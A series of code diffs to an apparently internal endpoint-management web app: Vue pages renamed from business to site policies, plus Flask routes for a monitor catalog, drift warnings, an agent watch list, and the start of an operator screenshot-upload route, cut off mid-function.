<button class="btn btn-primary" @click="openModal()">+ Add Business Policy</button>
<h2>Site Policies</h2>
<button class="btn btn-primary" @click="openModal()">+ Add Site Policy</button>
</div>
<div class="card">
@@ -42,7 +42,7 @@
</td>
</tr>
<tr v-if="policies.length === 0">
<td colspan="6" style="text-align:center; color: var(--text-light);">No business policies</td>
<td colspan="6" style="text-align:center; color: var(--text-light);">No site policies</td>
</tr>
</tbody>
</table>
@@ -53,7 +53,7 @@
<div v-if="showModal" class="modal-overlay">
<div class="modal modal-lg">
<div class="modal-header">
<h3>{{ editing ? 'Edit Business Policy' : 'Add Business Policy' }}</h3>
<h3>{{ editing ? 'Edit Site Policy' : 'Add Site Policy' }}</h3>
</div>
<form @submit.prevent="save">
<div class="modal-body">
@@ -196,14 +196,14 @@ async function save() {
closeModal()
loadData()
} catch (err) {
error.value = apiError(err, 'Failed to save business policy')
error.value = apiError(err, 'Failed to save site policy')
} finally {
saving.value = false
}
}
async function remove(p) {
if (!confirm(`Delete business policy "${p.name}"?`)) return
if (!confirm(`Delete site policy "${p.name}"?`)) return
try {
await computersApi.policies.business.remove(p.businesspolicyid)
loadData()

View File

@@ -25,7 +25,7 @@
<td class="cell-truncate" :title="p.description">{{ p.description || '-' }}</td>
<td>
<span v-for="a in p.actions" :key="a.action" class="badge" style="margin-right:4px;">
{{ a.action }} ({{ a.mode }})
{{ actionLabel(a.action) }} ({{ a.mode }})
</span>
<span v-if="!p.actions || p.actions.length === 0" style="color: var(--text-light);">none</span>
</td>
@@ -74,17 +74,23 @@
<div class="form-group">
<label>Actions</label>
<div v-for="(a, index) in form.actions" :key="index" class="action-row">
<select v-model="a.action" class="form-control">
<option :value="''" disabled>Select action...</option>
<option v-for="opt in actionCatalog" :key="opt.action" :value="opt.action">
{{ opt.label || opt.action }}
</option>
</select>
<ActionPicker
v-model="a.action"
:command-actions="actionCatalog"
:monitors="monitors"
@monitor-created="onMonitorCreated"
/>
<select v-model="a.mode" class="form-control mode-select">
<option value="gate">Allow (gate)</option>
<option value="desired">Desired state</option>
</select>
<button type="button" class="btn btn-danger btn-sm" @click="form.actions.splice(index, 1)">Remove</button>
<p v-if="showDesiredWarning(a)" class="desired-warning">
Desired state keeps this app alive: on agent check-in the
server will try to START the process if a launch path is
mapped. Use gate to only report status with Start/Stop in the
Monitor UI.
</p>
</div>
<button type="button" class="btn btn-secondary btn-sm" @click="addAction">+ Add action</button>
</div>
@@ -103,10 +109,11 @@
<script setup>
import { ref, onMounted } from 'vue'
import { computersApi, applicationsApi } from '@/api'
import { computersApi, applicationsApi, endpointsApi } from '@/api'
import { useToast } from '@/composables/toast'
import { apiError } from '@/utils/apiError'
import ScopeNodeEditor from './ScopeNodeEditor.vue'
import ActionPicker from './ActionPicker.vue'
const toast = useToast()
@@ -114,6 +121,7 @@ const policies = ref([])
const pctypes = ref([])
const apps = ref([])
const actionCatalog = ref([])
const monitors = ref([])
const loading = ref(true)
const showModal = ref(false)
@@ -132,21 +140,60 @@ onMounted(() => loadData())
async function loadData() {
loading.value = true
try {
const [pol, types, appList, actions] = await Promise.all([
// allSettled, not all: one failing endpoint must not blank the others.
// A rejected Promise.all left PC types and apps empty when only monitors
// 500'd, which looked like data loss.
const [pol, types, appList, actions, monitorList] = await Promise.allSettled([
computersApi.policies.configuration.list(),
computersApi.types.list({ perpage: 200 }),
applicationsApi.listAll({ perpage: 200 }),
computersApi.policies.actions()
computersApi.policies.actions(),
endpointsApi.monitors.list()
])
policies.value = pol.data.data || []
pctypes.value = types.data.data || []
// applicationsApi.listAll resolves to a plain array (fetchAllPages), not an
// axios response, so read it directly. Reading .data on the array throws and
// rejects the whole Promise.all, blanking every dropdown.
apps.value = Array.isArray(appList) ? appList : (appList.data?.data || appList.data || [])
actionCatalog.value = actions.data.data || []
} catch (err) {
console.error('Error loading configuration policies:', err)
const failures = []
if (pol.status === 'fulfilled') {
policies.value = pol.value.data.data || []
} else {
failures.push('policies')
console.error('Error loading policies:', pol.reason)
}
if (types.status === 'fulfilled') {
pctypes.value = types.value.data.data || []
} else {
failures.push('PC types')
console.error('Error loading PC types:', types.reason)
}
if (appList.status === 'fulfilled') {
// applicationsApi.listAll resolves to a plain array (fetchAllPages), not
// an axios response, so read it directly.
const value = appList.value
apps.value = Array.isArray(value) ? value : (value.data?.data || value.data || [])
} else {
failures.push('applications')
console.error('Error loading applications:', appList.reason)
}
if (actions.status === 'fulfilled') {
actionCatalog.value = actions.value.data.data || []
} else {
failures.push('actions')
console.error('Error loading actions:', actions.reason)
}
if (monitorList.status === 'fulfilled') {
monitors.value = monitorList.value.data.data || []
} else {
failures.push('monitors')
console.error('Error loading monitors:', monitorList.reason)
}
if (failures.length) {
toast.error(`Failed to load: ${failures.join(', ')}. Some options may be unavailable.`)
}
} finally {
loading.value = false
}
@@ -177,6 +224,30 @@ function addAction() {
form.value.actions.push({ action: '', mode: 'gate' })
}
function onMonitorCreated(monitor) {
// Add the new definition to the local catalog so its label resolves and it
// is searchable on other action rows without a full reload.
if (monitor && !monitors.value.some(m => m.endpointmonitorid === monitor.endpointmonitorid)) {
monitors.value.push(monitor)
}
}
function actionLabel(action) {
if (!action) return action
if (action.startsWith('monitor:')) {
const id = Number(action.slice('monitor:'.length))
const monitor = monitors.value.find(m => m.endpointmonitorid === id)
return monitor ? `Monitor: ${monitor.displayname}` : action
}
const command = actionCatalog.value.find(c => c.action === action)
return command ? (command.label || command.action) : action
}
function showDesiredWarning(action) {
return !!action && action.mode === 'desired'
&& !!action.action && action.action.startsWith('monitor:')
}
async function save() {
saving.value = true
error.value = ''
@@ -213,11 +284,35 @@ async function remove(p) {
</script>
<style scoped>
.modal-lg {
max-width: 760px;
}
.modal-lg .modal-body {
max-height: 70vh;
overflow-y: auto;
}
.modal-lg :deep(.form-group) {
margin-bottom: 1.1rem;
}
.modal-lg :deep(.form-control) {
font-size: 14px;
padding: 0.55rem 0.7rem;
}
.scope-builder {
padding: 10px;
border: 1px solid var(--border-color, #444);
border: 1px solid var(--border);
border-radius: 4px;
}
.action-row { display: flex; gap: 8px; align-items: center; margin-bottom: 6px; }
.action-row { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; margin-bottom: 6px; }
.mode-select { max-width: 160px; }
.desired-warning {
flex-basis: 100%;
margin: 2px 0 0;
padding: 6px 8px;
font-size: 0.85em;
color: var(--warning-dark);
background: var(--bg);
border: 1px solid var(--warning);
border-radius: 4px;
}
</style>

View File

@@ -13,6 +13,7 @@ from .policy import (
BusinessPolicy,
BusinessPolicyItem,
POLICY_SOURCE_LOCAL,
POLICY_SOURCE_SHIPPED,
ACTION_MODE_DESIRED,
ACTION_MODE_GATE,
)
@@ -28,6 +29,7 @@ __all__ = [
'BusinessPolicy',
'BusinessPolicyItem',
'POLICY_SOURCE_LOCAL',
'POLICY_SOURCE_SHIPPED',
'ACTION_MODE_DESIRED',
'ACTION_MODE_GATE',
]

View File

@@ -27,6 +27,12 @@ from .jsontext import JSONText
# owner. Kept a plain string, not an enum column, so adding a source is data.
POLICY_SOURCE_LOCAL = 'local'
# Product-owned rows we ship (the shopfloor app monitor bundle). Same read-only
# treatment as any non-local source: the CRUD API refuses to edit or delete
# them, the seeder reconciles them. Distinct from 'local' so a site's own
# policies are never confused with what the product shipped.
POLICY_SOURCE_SHIPPED = 'shipped'
class ConfigurationPolicy(BaseModel):
"""A single reusable policy: a scope plus the actions it applies.

View File

@@ -559,9 +559,9 @@ class ComputersPlugin(BasePlugin):
},
{
'group': 'Computers',
'to': '/settings/business-policies',
'to': '/settings/site-policies',
'icon': 'layers',
'title': 'Business policies',
'title': 'Site policies',
'description': 'Ordered collections of configuration policies '
'assigned by priority',
'position': 28,
@@ -633,7 +633,7 @@ class ComputersPlugin(BasePlugin):
'valuetype': 'boolean',
'category': 'computers',
'description': 'Master switch for RMM-style Configuration and '
'Business Policies. Off by default: models exist '
'Site Policies. Off by default: models exist '
'but the CRUD routes, WebUI, and endpoint '
'enforcement stay inert so the whole feature can '
'be rolled back without a schema change.',

View File

@@ -166,3 +166,61 @@ def effective_policy_for(assetid):
business_policies = BusinessPolicy.query.filter_by(isactive=True).all()
return build_effective_policy(computer, business_policies)
def _monitor_action_ids(effective):
"""Extract attached monitor ids from an EffectivePolicy's action names.
Monitor attachment rides the policy layer as an action named
'monitor:<endpointmonitorid>' (see plugins/endpoints/commands.py). This
reads those ids back out of a resolved policy so a caller can turn them into
concrete monitor definitions.
"""
ids = set()
for name in effective.allowed_actions():
if isinstance(name, str) and name.startswith('monitor:'):
raw = name[len('monitor:'):]
try:
ids.add(int(raw))
except (TypeError, ValueError):
continue
return ids
def monitor_ids_for_asset(assetid):
"""Set of endpointmonitorids attached to an endpoint by effective policy."""
return _monitor_action_ids(effective_policy_for(assetid))
def monitor_ids_for_pctype(computertypeid):
"""Set of endpointmonitorids attached to a PC type by effective policy.
Folds active Business Policies against a synthetic context carrying only the
PC type (no installed apps), which is what the agent runtime-fetch path needs
when it resolves its monitor set by type rather than by a specific asset.
Returns an empty set when the policy feature is off.
"""
from ..policyflag import policy_flag_enabled
if not policy_flag_enabled():
return set()
from ..models import BusinessPolicy
context = {'computertypeid': computertypeid, 'appids': set()}
business_policies = BusinessPolicy.query.filter_by(isactive=True).all()
resolved = {}
for businesspolicyid, config_policy in _iter_matching_configpolicies(
business_policies, context):
for action_row in config_policy.actions:
if not action_row.isactive:
continue
resolved.setdefault(action_row.action, True)
ids = set()
for name in resolved:
if isinstance(name, str) and name.startswith('monitor:'):
raw = name[len('monitor:'):]
try:
ids.add(int(raw))
except (TypeError, ValueError):
continue
return ids

View File

@@ -5,5 +5,7 @@ from .routes import endpoints_bp
from . import adoption # noqa: F401
# Attaches the site agent generator packaging routes to endpoints_bp.
from . import siteagent # noqa: F401
# Attaches the monitor catalog CRUD and resolve routes to endpoints_bp.
from . import monitors # noqa: F401
__all__ = ['endpoints_bp']

View File

@@ -0,0 +1,235 @@
"""Endpoint monitor definitions API (the monitor catalog CRUD + resolver).
A monitor definition is the reusable "what" an operator builds on the Settings
page: a named process or service with a bespoke display label and optional
launch/collector paths. Attaching a monitor to a PC type is a site-policy
concern (see plugins/computers policies); this surface owns the definitions
themselves plus the resolve-by-pctype read the agent uses at runtime.
Shipped rows (source='shipped') are product-owned: readable by everyone with
the view permission but not editable or deletable through this API.
The resolve-by-pctype read returns the monitor set a deployed agent should watch
for its PC type: the shipped defaults for 'Shopfloor PC' unioned with whatever
active site policies attach to that type. Shipped monitors are hardcoded to
'Shopfloor PC' as a proof of concept until they are authored through the policy
route like any user-built monitor.
"""
from flask import request
from flask_jwt_extended import current_user
from shopdb.api import (
db, success_response, error_response, ErrorCodes, require_permission,
require_role, Setting,
)
from ..models import EndpointMonitor
from .routes import endpoints_bp
# Which PC type the shipped monitors attach to, as a SETTING rather than a
# literal (ADR-015). PC-type vocabulary is per-site seed data: a plant whose
# type is called "Shop Floor Workstation" got no shipped monitors at all when
# this was hardcoded, and a plant that happens to use the name for something
# else got all of them. The default matches the seeded type so nothing changes
# for a site that uses it; a blank setting attaches the shipped bundle to
# nothing, which is the right neutral behaviour for a site that does not want
# it rather than a silent mismatch.
SHIPPED_PCTYPE_SETTING = 'plugin.endpoints.shippedmonitorpctype'
SHIPPED_DEFAULT_PCTYPE = 'Shopfloor PC'
def shipped_pctype():
"""The PC type the shipped monitor bundle attaches to at this site."""
configured = Setting.get(SHIPPED_PCTYPE_SETTING, default=SHIPPED_DEFAULT_PCTYPE)
return (configured or '').strip()
_VALID_KINDS = ('process', 'service')
def _validate_monitor_payload(body, kind):
"""Return an error message for an invalid create/update body, or None."""
displayname = (body.get('displayname') or '').strip()
if not displayname:
return 'displayname is required'
if kind not in _VALID_KINDS:
return "kind must be 'process' or 'service'"
if kind == 'process' and not (body.get('processname') or '').strip():
return 'processname is required for a process monitor'
if kind == 'service' and not (body.get('servicename') or '').strip():
return 'servicename is required for a service monitor'
return None
@endpoints_bp.route('/monitors', methods=['GET'])
@require_permission('endpoints.view')
def list_monitors():
"""List monitor definitions (shipped and local)."""
monitors = EndpointMonitor.query.order_by(
EndpointMonitor.source.desc(),
EndpointMonitor.displayname.asc()).all()
return success_response([monitor.to_dict() for monitor in monitors])
@endpoints_bp.route('/monitors', methods=['POST'])
@require_role('admin')
def create_monitor():
"""Create a user-defined (local) monitor definition."""
body = request.get_json(silent=True) or {}
kind = (body.get('kind') or '').strip().lower()
problem = _validate_monitor_payload(body, kind)
if problem:
return error_response(ErrorCodes.VALIDATION_ERROR, problem, http_code=400)
monitor = EndpointMonitor(
kind=kind,
displayname=(body.get('displayname') or '').strip(),
processname=(body.get('processname') or '').strip() or None,
servicename=(body.get('servicename') or '').strip() or None,
launchpath=(body.get('launchpath') or '').strip() or None,
datacollectorpath=(body.get('datacollectorpath') or '').strip() or None,
logcollectorpath=(body.get('logcollectorpath') or '').strip() or None,
source='local',
isactive=bool(body.get('isactive', True)),
)
db.session.add(monitor)
db.session.commit()
return success_response(monitor.to_dict(), message='Monitor created',
http_code=201)
@endpoints_bp.route('/monitors/<int:monitor_id>', methods=['PUT'])
@require_role('admin')
def update_monitor(monitor_id):
"""Update a local monitor definition. Shipped rows are read-only."""
monitor = db.session.get(EndpointMonitor, monitor_id)
if monitor is None:
return error_response(ErrorCodes.NOT_FOUND, 'Monitor not found',
http_code=404)
body = request.get_json(silent=True) or {}
kind = (body.get('kind') or monitor.kind or '').strip().lower()
problem = _validate_monitor_payload(
{
'displayname': body.get('displayname', monitor.displayname),
'processname': body.get('processname', monitor.processname),
'servicename': body.get('servicename', monitor.servicename),
},
kind,
)
if problem:
return error_response(ErrorCodes.VALIDATION_ERROR, problem, http_code=400)
# A shipped row is product-owned IDENTITY, not a product-owned opinion about
# one site's disk layout. It used to refuse every edit, which meant a plant
# whose eDNC lives on D:, or that runs no UDC at all, could neither correct
# the launch path nor switch the monitor off - and then got permanent false
# drift warnings for it. ADR-015 allows seed data precisely because a site
# can edit it afterwards.
#
# So: kind and displayname are the identity 0007's policy bundle matches on
# and stay fixed on a shipped row; the paths and the active flag, which are
# what actually differ between plants, are editable.
if monitor.source != 'local':
for field in ('kind', 'displayname'):
if field in body and (body.get(field) or '').strip() != (
getattr(monitor, field) or ''):
return error_response(
ErrorCodes.FORBIDDEN,
'A shipped monitor keeps its kind and display name; its '
'paths and active flag can be changed', http_code=403)
else:
monitor.kind = kind
monitor.displayname = (body.get('displayname', monitor.displayname) or '').strip()
monitor.processname = (body.get('processname', monitor.processname) or '').strip() or None
monitor.servicename = (body.get('servicename', monitor.servicename) or '').strip() or None
monitor.launchpath = (body.get('launchpath', monitor.launchpath) or '').strip() or None
monitor.datacollectorpath = (body.get('datacollectorpath', monitor.datacollectorpath) or '').strip() or None
monitor.logcollectorpath = (body.get('logcollectorpath', monitor.logcollectorpath) or '').strip() or None
if 'isactive' in body:
monitor.isactive = bool(body.get('isactive'))
db.session.commit()
return success_response(monitor.to_dict(), message='Monitor updated')
@endpoints_bp.route('/monitors/<int:monitor_id>', methods=['DELETE'])
@require_role('admin')
def delete_monitor(monitor_id):
"""Delete a local monitor definition. Shipped rows are protected."""
monitor = db.session.get(EndpointMonitor, monitor_id)
if monitor is None:
return error_response(ErrorCodes.NOT_FOUND, 'Monitor not found',
http_code=404)
if monitor.source != 'local':
return error_response(ErrorCodes.FORBIDDEN,
'Shipped monitors cannot be deleted', http_code=403)
db.session.delete(monitor)
db.session.commit()
return success_response(None, message='Monitor deleted')
def _resolve_pctype_monitors(pctype):
"""Monitor definitions a PC type should watch: shipped defaults + policy.
Shipped monitors attach to the PC type named by the shipped-pctype setting;
policy-attached monitors come from the computers policy resolver by PC type.
Returns a list of EndpointMonitor rows (active only), de-duped by id.
"""
selected = {}
shipped_for = shipped_pctype()
if shipped_for and pctype == shipped_for:
for monitor in EndpointMonitor.query.filter_by(
source='shipped', isactive=True).all():
selected[monitor.endpointmonitorid] = monitor
computertypeid = _computertypeid_for(pctype)
if computertypeid is not None:
policy_ids = _policy_monitor_ids(computertypeid)
if policy_ids:
for monitor in EndpointMonitor.query.filter(
EndpointMonitor.endpointmonitorid.in_(policy_ids),
EndpointMonitor.isactive.is_(True)).all():
selected[monitor.endpointmonitorid] = monitor
return list(selected.values())
def _computertypeid_for(pctype):
"""Resolve a PC type name to its computertypeid, or None."""
try:
from plugins.computers.models import ComputerType
except Exception:
return None
row = ComputerType.query.filter_by(computertype=pctype).first()
return row.computertypeid if row else None
def _policy_monitor_ids(computertypeid):
"""Monitor ids attached to a PC type by effective policy, or empty set."""
try:
from plugins.computers.services.policyresolver import monitor_ids_for_pctype
except Exception:
return set()
return monitor_ids_for_pctype(computertypeid)
@endpoints_bp.route('/monitors/resolve', methods=['GET'])
@require_permission('endpoints.view')
def resolve_monitors():
"""Resolve the monitor set for a PC type (agent runtime fetch).
Query param pctype names the computer type. Returns the definitions the
agent should watch: shipped defaults for 'Shopfloor PC' plus any monitors
active site policies attach to that type.
"""
pctype = (request.args.get('pctype') or '').strip()
if not pctype:
return error_response(ErrorCodes.VALIDATION_ERROR,
'pctype is required', http_code=400)
monitors = _resolve_pctype_monitors(pctype)
return success_response({
'pctype': pctype,
'monitors': [monitor.to_dict() for monitor in monitors],
})

View File

@@ -25,7 +25,10 @@ from shopdb.api import (
Application, AppVersion, Script,
)
from ..models import EndpointState, EndpointEvent, EndpointCommand, EndpointApplication
from ..models import (
EndpointState, EndpointEvent, EndpointCommand, EndpointApplication,
OperatorReport,
)
from ..commands import COMMAND_ALLOWLIST, is_allowed_action, ALLOWED_ACTIONS_FOR, row_actions_for, requires_target, action_targetkind, elevated_permission_for
from ..eventcatalog import CRITICAL_EVENT_IDS, event_severity, event_title
@@ -36,11 +39,12 @@ def _naive_utcnow():
return datetime.now(timezone.utc).replace(tzinfo=None)
# A watched service or process reports a STATE STRING, not a boolean, and the
# vocabulary varies by source. Both the services panel and the fleet health
# rollup have to agree on what counts as running, so the rule lives here once -
# reading it wrong makes every service look stopped.
_RUNNING_STATES = ('running', 'started', 'up', 'ok', 'active')
# What counts as RUNNING is defined once, by the reconciler, and imported here.
# The panel and the reconciler read the same agent snapshot, so a disagreement
# would paint a service green and flag it as drift on the same page. Importing
# api -> services is the direction the plugin layout already runs in; the
# reconciler's own import of this module is deferred, so there is no cycle.
from ..services.reconciler import RUNNING_STATES as _RUNNING_STATES
def _service_running(entry):
@@ -87,7 +91,8 @@ def _format_uptime(seconds):
# Endpoint state
# =============================================================================
@endpoints_bp.route('', methods=['GET'])
@endpoints_bp.route('', methods=['GET'], strict_slashes=False)
@endpoints_bp.route('/', methods=['GET'], strict_slashes=False)
@require_permission('endpoints.fleet')
def list_endpoints():
"""List reported endpoint states.
@@ -396,6 +401,24 @@ def list_endpoint_events(asset_id: int):
# Asset panels (ADR-010) - shaped for the generic PluginAssetPanels renderer
# =============================================================================
def _drift_for_state(state):
"""Parse the cached warn-only reconciler drift list off an EndpointState.
driftjson is written on every check-in by the endpoints ingest: the monitors
site policy expects running that the latest snapshot did not report running.
Null means never computed; an empty list means computed with no drift.
Tolerant of a malformed blob so a bad cache never breaks the panel.
"""
raw = getattr(state, 'driftjson', None) if state else None
if not raw:
return []
try:
parsed = json.loads(raw)
except (TypeError, ValueError):
return []
return parsed if isinstance(parsed, list) else []
@endpoints_bp.route('/asset/<int:asset_id>/status', methods=['GET'])
@require_permission('endpoints.view')
def panel_status(asset_id: int):
@@ -425,6 +448,19 @@ def panel_status(asset_id: int):
state.lastreportedat.isoformat() + 'Z' if state.lastreportedat else None),
]
fields = [f for f in fields if f['value'] not in (None, '')]
# Warn-only reconciler summary: monitors site policy expects to be running
# that the last check-in did not report as running. Surfaced as a status
# field so an operator sees the drift on the panel; nothing is auto-started.
drift = _drift_for_state(state)
if drift:
names = ', '.join(entry.get('displayname') or entry.get('name')
for entry in drift)
fields.append(field(
'Needs attention',
'{} monitor(s) expected running but not reported: {}'.format(
len(drift), names)))
return success_response({'fields': fields})
@@ -446,28 +482,100 @@ def panel_telemetry_meta(asset_id: int):
return success_response({'lastreportedat': stamp})
def _pctype_for_asset(asset_id):
"""Resolve an asset's PC type name, or None.
Endpoints stays optional-on-computers: a missing plugin, a non-computer
asset, or an unset type all resolve to None so the caller falls back to
reported-only behaviour.
"""
try:
from plugins.computers.models import Computer, ComputerType
except Exception:
return None
row = (db.session.query(ComputerType.computertype)
.join(Computer,
Computer.computertypeid == ComputerType.computertypeid)
.filter(Computer.assetid == asset_id)
.first())
return row[0] if row else None
def _resolved_monitors_for_asset(asset_id):
"""Monitor definitions attached to this asset's PC type by policy/shipped.
Reuses the endpoints monitor resolver (shipped defaults plus policy-attached
monitors). Returns a list of EndpointMonitor rows, or an empty list when the
PC type is unknown or nothing resolves.
"""
pctype = _pctype_for_asset(asset_id)
if not pctype:
return []
try:
from .monitors import _resolve_pctype_monitors
return _resolve_pctype_monitors(pctype) or []
except Exception:
return []
def _row_action_dict(app, kind, name, running):
"""Build the inline Start/Stop action map for a services/processes row."""
targets = row_actions_for(app, kind, name)
if not targets:
return None
return {
'running': running,
'start': targets['start'],
'stop': targets['stop'],
'status': targets['status'],
'target': targets['target'],
'targetkind': targets['targetkind'],
}
@endpoints_bp.route('/asset/<int:asset_id>/services', methods=['GET'])
@require_permission('endpoints.view')
def panel_services(asset_id: int):
"""List panel: monitored services/processes with a run-state badge per row.
Reshapes the latest servicesjson snapshot into rows the list renderer maps
to name + status badge. Tolerant of a missing or unexpected snapshot shape:
an unknown state renders as an Unknown badge rather than failing.
to name + status badge, then MERGES the monitors that site policy (and the
shipped defaults) attach to this asset's PC type. A policy-attached monitor
the agent has not yet reported surfaces as an Unknown row with a Start
control, so an operator sees the intent immediately rather than waiting for
the next agent snapshot. Tolerant of a missing snapshot or plugin: an
unknown state renders as an Unknown badge rather than failing.
"""
state = EndpointState.query.filter_by(assetid=asset_id).first()
if not state or not state.servicesjson:
return success_response([])
maycommand = caller_holds('endpoints.command')
try:
services = json.loads(state.servicesjson)
except (TypeError, ValueError):
return success_response([])
services = []
if state and state.servicesjson:
try:
services = json.loads(state.servicesjson) or []
except (TypeError, ValueError):
services = []
rows = []
for entry in (services or []):
# Reported identities, keyed (kind, lowercased name), so a policy monitor
# the agent already reports is not duplicated as a synthetic row.
reported = set()
# Warn-only reconciler drift, keyed (kind, lowercased name), so a row that is
# expected running but not reported running can be flagged for the operator.
# kind may be None on an older snapshot, so match on name too.
drift_keys = set()
for entry in _drift_for_state(state):
name = (entry.get('name') or '').strip().lower()
if not name:
continue
drift_keys.add(((entry.get('kind') or '').lower() or None, name))
drift_keys.add((None, name))
def _is_drift(kind, name):
key = (name or '').strip().lower()
return (kind, key) in drift_keys or (None, key) in drift_keys
for entry in services:
if isinstance(entry, dict):
name = entry.get('name') or entry.get('service') or 'Unknown'
raw = (entry.get('state') or entry.get('status') or '').strip().lower()
@@ -476,9 +584,10 @@ def panel_services(asset_id: int):
else:
name, raw, app, kind = str(entry), '', None, None
running = _service_running(entry)
normkind = (kind or '').lower() or None
row = {
'name': name,
'kind': (kind or '').lower() or None,
'kind': normkind,
'statelabel': 'Running' if running else (raw.title() or 'Unknown'),
# Amber for paused and the four Windows transitional states. A
# service stuck in Start Pending is failing to start on a retry
@@ -493,17 +602,42 @@ def panel_services(asset_id: int):
# emission never consulted the caller, so a read-only viewer was shown
# controls on a shop-floor PC that 403 on click - wrong signal, and it
# gets worse the moment guests can read this panel.
targets = row_actions_for(app, kind, name) if maycommand else None
if targets:
row['action'] = {
'running': running,
'start': targets['start'],
'stop': targets['stop'],
'status': targets['status'],
'target': targets['target'],
'targetkind': targets['targetkind'],
}
action = _row_action_dict(app, kind, name, running) if maycommand else None
if action:
row['action'] = action
if not running and _is_drift(normkind, name):
row['drift'] = True
rows.append(row)
reported.add((normkind, name.strip().lower()))
# Merge policy/shipped monitors this PC type should watch. A monitor already
# reported by the agent stays as its live row; one not yet seen is appended
# as an Unknown row so the operator sees the intended coverage and can Start
# it. The monitor's displayname is the operator label (e.g. 'msedge.exe'
# -> 'Edge'); its process/service name is the wire target for actions.
for monitor in _resolved_monitors_for_asset(asset_id):
kind = (monitor.kind or '').lower() or None
osname = (monitor.processname if kind == 'process'
else monitor.servicename)
osname = (osname or '').strip()
if not osname:
continue
if (kind, osname.lower()) in reported:
continue
row = {
'name': monitor.displayname or osname,
'kind': kind,
'statelabel': 'Unknown',
'statecolor': 'gray',
}
action = _row_action_dict(None, kind, osname, False) if maycommand else None
if action:
row['action'] = action
if _is_drift(kind, osname):
row['drift'] = True
rows.append(row)
reported.add((kind, osname.lower()))
return success_response(rows)
@@ -1335,6 +1469,64 @@ def enqueue_endpoint_command(asset_id: int):
message='Command queued', http_code=201)
@endpoints_bp.route('/monitors/resolved', methods=['GET'])
def resolved_monitors_for_agent():
"""Agent watch list: the monitors this endpoint should report on.
Collector-token auth (not JWT), same as the command channel. The agent
calls this each telemetry cycle with its hostname and receives the process
and service monitors that site policy (and the shipped defaults) attach to
this endpoint's PC type, so a policy-attached monitor is enumerated and
reported without editing appsettings.json on the box. The shape mirrors the
agent's MonitorConfig (processes[]/services[] of {name, app}) so the agent
can bind it directly: name is the wire identity (process image or service
key), app is the operator label. An unknown hostname or a PC type with no
monitors returns empty lists, which the agent merges as "watch nothing extra".
"""
error = _collector_auth_or_error()
if error is not None:
return error
hostname = (request.args.get('hostname') or '').strip()
if not hostname:
return error_response(ErrorCodes.VALIDATION_ERROR,
'hostname is required')
asset_id = _resolve_asset_for_hostname(hostname)
if asset_id is None:
return error_response(ErrorCodes.NOT_FOUND,
f'Unknown hostname: {hostname!r}', http_code=404)
processes = []
services = []
for monitor in _resolved_monitors_for_asset(asset_id):
kind = (monitor.kind or '').lower()
if kind == 'process':
wirename = (monitor.processname or '').strip()
bucket = processes
elif kind == 'service':
wirename = (monitor.servicename or '').strip()
bucket = services
else:
continue
if not wirename:
continue
entry = {
'name': wirename,
'app': (monitor.displayname or wirename),
}
# Only process monitors carry a launch path, and only when set. The
# agent never trusts it blindly: it validates the path against an
# approved-root allowlist before it becomes launchable (fail closed).
if kind == 'process':
launchpath = (monitor.launchpath or '').strip()
if launchpath:
entry['launchpath'] = launchpath
bucket.append(entry)
return success_response({'processes': processes, 'services': services})
@endpoints_bp.route('/commands/next', methods=['GET'])
def claim_next_command():
"""Agent long-poll: claim the next pending command for a hostname.
@@ -1578,3 +1770,201 @@ def download_script_body(script_id: int):
return send_upload(script_dir, script.filename, as_attachment=True)
# Operator issue reports (tray screenshot + free-text notes)
# ---------------------------------------------------------------------------
# Retention groundwork: how many days an operator report (and its screenshot
# file) is kept before the purge sweep removes it. Read from the Setting store
# so Agent Configuration can expose a toggle later without a code change; the
# default is 7 days. A value of 0 or less means "keep forever" (purge disabled).
OPERATOR_REPORT_RETENTION_SETTING = 'endpoints.operatorreport.retentiondays'
OPERATOR_REPORT_RETENTION_DEFAULT_DAYS = 7
# Screenshots are small PNGs from a virtual-screen grab. Cap the upload so a
# malformed or hostile agent cannot fill the disk with one request.
OPERATOR_REPORT_MAX_IMAGE_BYTES = 10 * 1024 * 1024
# The multipart envelope carries the other form fields and the part boundaries
# too, so content_length is legitimately larger than the image. Allow for that
# rather than rejecting a screenshot that is just under the cap.
_OPERATOR_REPORT_FORM_SLACK = 64 * 1024
# PNG signature. The route stores and serves the file as image/png, so this is
# the one thing it accepts.
_PNG_MAGIC = b'\x89PNG\r\n\x1a\n'
def _operator_report_dir():
return os.path.join(current_app.instance_path, 'operatorreports')
def _operator_report_retention_days():
"""Configured retention window in whole days (default 7, <=0 disables)."""
raw = Setting.get(OPERATOR_REPORT_RETENTION_SETTING)
if raw is None:
return OPERATOR_REPORT_RETENTION_DEFAULT_DAYS
try:
return int(raw)
except (TypeError, ValueError):
return OPERATOR_REPORT_RETENTION_DEFAULT_DAYS
def _purge_expired_operator_reports():
"""Delete operator reports older than the retention window, files and all.
Best-effort and idempotent: called opportunistically on upload so the feed
stays bounded without a scheduler. A retention of <=0 disables the sweep.
"""
days = _operator_report_retention_days()
if days <= 0:
return
cutoff = _naive_utcnow() - timedelta(days=days)
stale = OperatorReport.query.filter(OperatorReport.createdat < cutoff).all()
if not stale:
return
report_dir = _operator_report_dir()
for report in stale:
if report.imagefilename:
path = os.path.join(report_dir, report.imagefilename)
try:
os.remove(path)
except OSError:
pass
db.session.delete(report)
db.session.commit()
@endpoints_bp.route('/operatorreports', methods=['POST'])
def upload_operator_report():
"""Agent uploads one operator issue report (collector-token auth).
The tray captures the operator's free-text note and an optional screenshot,
then hands them to the service, which posts here as multipart/form-data on
the same endpoints collector token used for telemetry. The reported hostname
resolves to an asset; an unresolved hostname is a validation error. The
screenshot bytes are written to the operator-reports uploads dir and the row
holds only metadata plus the stored filename. One retention sweep runs
opportunistically so the feed stays bounded.
"""
import uuid
error = _collector_auth_or_error()
if error is not None:
return error
# Refuse an oversized body BEFORE anything parses it. content_length is a
# header, so it is readable without touching the body; request.form is not
# - the first access to it makes werkzeug parse the whole multipart and
# spool the file part to a temp file. An earlier version of this check sat
# below that line and so ran after the thing it exists to prevent. The
# value is caller-supplied, which is why this is an early out and not the
# enforcement; the bounded read below is.
declared = request.content_length or 0
if declared > OPERATOR_REPORT_MAX_IMAGE_BYTES + _OPERATOR_REPORT_FORM_SLACK:
return error_response(
ErrorCodes.VALIDATION_ERROR,
'screenshot exceeds the {} byte limit'.format(
OPERATOR_REPORT_MAX_IMAGE_BYTES))
hostname = (request.form.get('hostname') or '').strip()
if not hostname:
return error_response(ErrorCodes.VALIDATION_ERROR,
'hostname is required')
asset_id = _resolve_asset_for_hostname(hostname)
if asset_id is None:
return error_response(
ErrorCodes.VALIDATION_ERROR,
